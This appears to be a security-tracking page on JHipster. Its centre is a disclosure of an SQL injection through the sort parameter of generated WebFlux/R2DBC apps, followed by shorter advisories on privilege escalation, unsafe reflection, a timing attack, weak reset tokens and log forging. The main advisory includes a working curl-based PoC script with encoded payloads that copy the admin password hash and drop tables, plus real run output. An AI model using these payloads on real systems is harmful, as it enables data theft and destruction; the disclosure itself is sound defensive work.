See how jhipster compares to other vendors in security performance
SQL Injection in the sort Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications
- Product: jhipster/generator-jhipster (npm package generator-jhipster) - Affected versions: v7.0.0 through v9.2.0 - Component: generated reactive-application code, template EntityManagerreactive.java.ejs - Report date: 2026-08-29
---
1. Summary
Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=...). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements are run against the database.
A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including jhiuser password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).
The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.
2. Root Cause
The generator template generators/spring-boot/generators/data-relational/templates/src/main/java/package/repository/EntityManagerreactive.java.ejs (lines 240–253) writes createOrderByFields(...), which renders the user-supplied sort property directly as an unquoted SqlIdentifier:
java private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) { List<OrderByField> fields = new ArrayList<>(); for (Sort.Order order : sortToUse) { String propertyName = order.getProperty(); // attacker controlled (?sort=...) OrderByField orderByField = !propertyName.contains(".") ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIASPREFIX + propertyName)) : createOrderByField(propertyName); fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc()); } return fields; }
The generated app configures SqlRenderer.create(factory.createRenderContext()) with the default naming strategy, so unquoted identifiers are rendered verbatim. With ?sort=id;DROP TABLE product;-- the alias renders into:
sql SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY eid;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0
3. Verification
A real application was generated from this repository (git clone of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.
| Step | H2 (dev default) | PostgreSQL 16 (prod default) | | ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- | | Error probe sort=name%27 | 500; SQL echoed with raw ' in ORDER BY ename' | 500; r2dbc-postgresql parse error echoing full SQL | | Exfiltrate admin hash via ;UPDATE product SET name=(SELECT passwordhash FROM jhiuser ...);-- | HTTP 200; name becomes $2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC | HTTP 200; same hash read back | | ;DROP TABLE product;-- | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |
All payloads executed with a token carrying only ROLEUSER. No other vulnerability or privileged account is required.
4. Impact
CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. jhiuser password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for reactive: true + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.
5. Fix Recommendation
In EntityManager.createOrderByFields, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted SqlIdentifier; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.
---
Appendix
A. Environment setup
bash 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3 java -version # openjdk 21.x node --version # v20+
1. Clone the generator git clone https://github.com/jhipster/generator-jhipster.git cd generator-jhipster git checkout <affected-tag> # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster. npm install --no-audit --no-fund # ~778 packages npm link # makes jhipster available jhipster --version # expected: 9.2.0
2. Generate the target app (reactive + SQL + JWT + paginated entity) mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux cat > .yo-rc.json <<'EOF' { "generator-jhipster": { "applicationType": "monolith", "baseName": "pocwebflux", "packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt", "databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql", "reactive": true, "skipClient": true, "buildTool": "maven", "enableTranslation": false, "jhipsterVersion": "9.2.0" } } EOF cat > product.jdl <<'EOF' entity Product { name String required, price BigDecimal } paginate Product with pagination EOF export JAVAHOME=$HOME/.sdkman/candidates/java/21.0.7-amzn jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully." jhipster jdl product.jdl --no-insight --force
Sanity check that the generated app contains the vulnerable code (all should match): grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java
3a. Run on H2 (default dev database) ./mvnw -DskipTests package # -> BUILD SUCCESS setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null & curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"} BASEURL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh
3b. Run on PostgreSQL 16 (default production database) docker run -d --name jh-pg16 -e POSTGRESUSER=pocwebflux -e POSTGRESPASSWORD=secret \ -e POSTGRESDB=pocwebflux -p 15432:5432 postgres:16 ./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())") setsid nohup $JAVAHOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \ --spring.profiles.active=prod --server.port=18081 \ --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \ --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \ --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \ --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null & seed two products via the API (prod has no sample data), then run poc.sh: BASEURL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh docker rm -f jh-pg16
B. PoC script
bash #!/usr/bin/env bash Usage: BASEURL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token) set -euo pipefail BASEURL="${BASEURL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"
if [ -z "$JWT" ]; then JWT=$(curl -s -X POST "$BASEURL/api/authenticate" -H 'Content-Type: application/json' \ -d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \ | python3 -c "import sys,json;print(json.load(sys.stdin)['idtoken'])") fi AUTH="Authorization: Bearer $JWT"
echo "== 2) Baseline ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo echo "== 3) Error probe: sort=name' ==" curl -s -H "$AUTH" "$BASEURL/api/products?sort=name%27" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true echo "== 4) Exfiltrate admin bcrypt hash ==" PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20passwordhash%20FROM%20jhiuser%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc&page=0&size=2" \ | python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]" echo "== 5) DROP TABLE product ==" PAYLOAD="id%3BDROP%20TABLE%20product%3B--" curl -s -o /dev/null -w " injection HTTP %{httpcode}\n" -H "$AUTH" "$BASEURL/api/products?sort=$PAYLOAD" curl -s -H "$AUTH" "$BASEURL/api/products?sort=id,asc" \ | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true
C. Real output (H2 run, 2026-08-29, full poc.sh execution)
== Target: http://127.0.0.1:18080 == == 1) Obtain a low-privileged token (user/user) == == 2) Baseline: benign paginated read (sort=id,asc) == [ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]
== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped == status: 500 detail: Syntax error in SQL statement "SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename[]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQL statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]
== 4) Arbitrary SQL: exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 Read back - first product 'name' now equals the admin bcrypt hash: id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=2 name=notwithstanding
== 5) Arbitrary SQL: DROP TABLE product (availability) == injection request HTTP 200 After injection, listing products again: status: 500 detail: Table "PRODUCT" not found; SQL statement: SELECT COUNT() FROM product [42102-240]
== Done. The database has been modified / a table dropped by injected SQL. == <img width="1280" height="1519" alt="evidence-01-h2" src="https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77" />
D. Real output (PostgreSQL 16 run )
== 3) Error probe: sort=name' == status: 500 detail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement: SELECT e.id AS eid, e.name AS ename, e.price AS eprice FROM product e ORDER BY ename' ASC LIMIT 20 OFFSET 0
== 4) Exfiltrate jhiuser.passwordhash (admin) into a readable field == injection request HTTP 200 id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC id=1501 name=beta widget
== 5) DROP TABLE product == injection request HTTP 200 -> subsequent list: status 500 "Failure during data access" <img width="1280" height="891" alt="evidence-02-postgresql" src="https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142" />
Withdrawn Advisory This advisory has been withdrawn because the original report was found to be invalid. This link is maintained to preserve external references. For more information, see https://groups.google.com/g/jhipster-dev/c/ATSlWkEjw2w.
Original Description
JHipster before v.8.9.0 allows privilege escalation via a modified authorities parameter. Upon registering in the JHipster portal and logging in as a standard user, the authorities parameter in the response from the api/account endpoint contains the value ROLEUSER. By manipulating the authorities parameter and changing its value to ROLEADMIN, the privilege is successfully escalated to an Admin level. This allowed the access to all admin-related functionalities in the application.
JHipster is a development platform to quickly generate, develop, & deploy modern web applications & microservice architectures. SQL Injection vulnerability in entities for applications generated with the option "reactive with Spring WebFlux" enabled and an SQL database using r2dbc. Applications created without "reactive with Spring WebFlux" and applications with NoSQL databases are not affected. Users who have generated a microservice Gateway using the affected version may be impacted as Gateways are reactive by default. Currently, SQL injection is possible in the findAllBy(Pageable pageable, Criteria criteria) method of an entity repository class generated in these applications as the where clause using Criteria for queries are not sanitized and user input is passed on as it is by the criteria. This issue has been patched in v7.8.1. Users unable to upgrade should be careful when combining criterias and conditions as the root of the issue lies in the EntityManager.java class when creating the where clause via Conditions.just(criteria.toString()). just accepts the literal string provided. Criteria's toString method returns a plain string and this combination is vulnerable to sql injection as the string is not sanitized and will contain whatever used passed as input using any plain SQL.
Summary CWE-470 (Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') when having Javers selected as Entity Audit Framework
Details In the following two occurences, user input directly leads to class loading without checking against e.g. a whitelist of allowed classes. This is also known as CWE-470 https://github.com/jhipster/generator-jhipster-entity-audit/blob/e21e83135d10c77d92203c89cb0b0063914e8fe0/generators/spring-boot-javers/templates/src/main/java/package/web/rest/JaversEntityAuditResource.java.ejs#L88 https://github.com/jhipster/generator-jhipster-entity-audit/blob/e21e83135d10c77d92203c89cb0b0063914e8fe0/generators/spring-boot-javers/templates/src/main/java/package/web/rest/JaversEntityAuditResource.java.ejs#L124
So, if an attacker manages to place some malicious classes into the classpath and also has access to these REST interface for calling the mentioned REST endpoints, using these lines of code can lead to unintended remote code execution.
PoC
1. Place an arbitrary class with the right package name (starting with JHIpster applications path name) and make it available in class path 2. Gain access to view entity's audit changelogs (Role: ADMIN) 3. pass in the malicious class name part as entityType (first mentioned part) // qualifiedName (second mentioned occurence) 4. class gets loaded and static code blocks in there get executed
--> Should be limited to the already existing whitelist of classes (see first method in that mentioned class)
Impact Remote Code execution. You need to have some access to place malicious classes into the class path and you need to have a user with ADMIN role on the system.
JHipster generator-jhipster before 2.23.0 allows a timing attack against validateToken due to a string comparison that stops at the first character that is different. Attackers can guess tokens by brute forcing one character at a time and observing the timing. This of course drastically reduces the search space to a linear amount of guesses based on the token length times the possible characters.
A class generated by the Generator in JHipster before 6.3.0 and JHipster Kotlin through 1.1.0 produces code that uses an insecure source of randomness (apache.commons.lang3 RandomStringUtils). This allows an attacker (if able to obtain their own password reset URL) to compute the value for all other password resets for other accounts, thus allowing privilege escalation or account takeover.
In generator-jhipster-kotlin version 1.6.0 log entries are created for invalid password reset attempts. As the email is provided by a user and the api is public this can be used by an attacker to forge log entries. This is vulnerable to https://cwe.mitre.org/data/definitions/117.html This problem affects only application generated with jwt or session authentication. Applications using oauth are not vulnerable. This issue has been fixed in version 1.7.0.
End of life: 3/11/2026, Latest version: 8.11.0
End of life: 3/11/2026, Latest version: 8.11.0
End of life: 11/2/2023, Latest version: 7.9.4
End of life: 11/2/2023, Latest version: 7.9.4
End of life: 3/21/2021, Latest version: 6.10.5
End of life: 3/21/2021, Latest version: 6.10.5
End of life: 5/2/2019, Latest version: 5.8.2
End of life: 5/2/2019, Latest version: 5.8.2
End of life: 6/20/2018, Latest version: 4.14.5
End of life: 6/20/2018, Latest version: 4.14.5
End of life: 2/2/2017, Latest version: 3.12.2
End of life: 2/2/2017, Latest version: 3.12.2
End of life: 3/23/2016, Latest version: 2.27.2
End of life: 3/23/2016, Latest version: 2.27.2
End of life: 1/9/2015, Latest version: 1.10.2
End of life: 1/9/2015, Latest version: 1.10.2
End of life: 9/1/2014, Latest version: 0.18.1
End of life: 9/1/2014, Latest version: 0.18.1